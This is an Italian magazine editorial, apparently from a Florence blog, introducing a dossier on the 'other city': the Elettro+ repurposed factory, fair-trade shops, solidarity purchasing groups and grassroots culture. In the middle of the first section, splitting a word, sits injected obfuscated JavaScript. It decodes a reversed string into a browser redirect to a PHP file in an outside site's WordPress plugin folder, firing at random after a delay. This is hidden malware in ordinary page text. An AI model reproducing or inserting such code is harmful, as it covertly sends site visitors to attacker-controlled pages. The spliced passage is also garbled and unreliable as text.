La città che ci prova

image_pdfimage_print

Il dossier di questo mese è dedicato – guarda caso! – all’altra città. Una città positiva e propositiva, una città bella e vitale, una città in movimento che crede nella possibilità di fare qualcosa di diverso in modo diverso.
Nella gestione dello spazio: abbiamo fatto un breve giro di esplorazione all’interno di un vasto continente, l’Elettro+. La realtà dell’Elettro+ è una novità per Firenze, sotto diversi aspetti: si tratta di una fabbrica dismessa che è stata data in comodato gratuito temporaneo ad un gruppo di ragazzi, grazie ad un accordo tra la proprietà e il Quartiere 4. Non si tratta quindi di un’occupazione “abusiva” in polemica con l’amministrazione, anche se i ragazzi dell’Elettro+ ci tengono a ribadire la loro totale autonomia e non accettano l’accusa di “collaborazionismo”: “Io lotto per qualcosa, se ad un certo punto mi viene riconosciuta, non posso dire no. Mi metto in gioco e dico: va bene, vediamo se effettivamente può funzionare.” L’altra peculiarità importante è l’assenza di un “comitato di gestione” ben definito: le persone vanno e vengono, port (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando proposte e iniziando progetti che possono continuare anche senza di loro, oltre di loro. E lo spazio immenso e articolato in cui si riversano le tante attività dell’Elettro+ si dichiara aperto all’intervento creativo di tutti, alla contaminazione tra esperienze diverse, al superamento di “identità costrittive”.
Nella gestione dei consumi: anche a Firenze si affermano e si diffondono due realtà tra loro affini e potenzialmente complementari, le botteghe del commercio equo e i gruppi di acquisto solidali, Gas. Le botteghe non sono l’ennesimo negozietto etnico dove comprare il regalino originale anche se un po’ caro. Chi ci entra con gli occhi aperti e la mente sveglia, può finalmente davvero esaminare la merce: sapere dove è stata prodotta e come e da chi, sapere dove vanno i suoi soldi e il perché di quel prezzo. E capire che esiste davvero, e funziona, un altro modo di lavorare e produrre, vendere e comprare, che lo sfruttamento non è inevitabile e che la nostra presunta impossibilità di agire sulle grandi questioni dell’ingiustizia globale è spesso solo un alibi. La pensano così anche i “gassisti” – i partecipanti ai Gas – consumatori passivi ieri, consumatori critici e attivi oggi, che hanno scelto di mettere insieme le forze per acquistare più sano e più equo, ma anche o soprattutto per il gusto di fare la spesa in compagnia, condividendo scelte, principi e tempo di vita.
Infine, nella gestione della cultura: di solito, chi non ha la patente di artista o intellettuale o uomo/donna di potere, la cultura pensa piuttosto di “fruirla”, di contemplarla, al massimo scegliendo su un menù già scritto. Ma chi l’ha deciso, cos’è cultura e cosa no? E perché tante produzioni devono restare chiuse nei cassetti e nelle cantine senza mai avere un’occasione di visibilità? Anche gli artisti sconosciuti o aspiranti hanno deciso di mettersi in rete, la Rete, e farsi sentire, leggere, vedere, mentre altri lavorano per creare luoghi e occasioni e mostrare tutto questo alla città. Trovando canali e finanziamenti, ritagliandosi spazi e tempi anche dentro realtà bisognose di ossigeno, come ad esempio una radio troppo poco valorizzata, o le case del popolo e i circoli ricreativo-culturali, che cultura non ne hanno prodotta mai e da tempo ospitano solo pizzerie e tv satellitare per serate di puro consumo passivo…
I tre temi – spazio, consumi e cultura – sono stati affrontati dal nostro consueto punto di vista, dal basso. Qui in basso, le cose si muovono, nascono, crescono, prendono direzioni e forme diverse e inattese.. Là in alto, le cose sembrano spesso riprodursi per clonazione, identiche a se stesse per contenuti e modalità, cambiando a volte i nomi.
Sarebbe bello che i cantieri aperti in città, quelli del cambiamento mentale, diventassero meta di viaggi-studio da parte di chi amministra e somministra spesso la solita zuppa.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *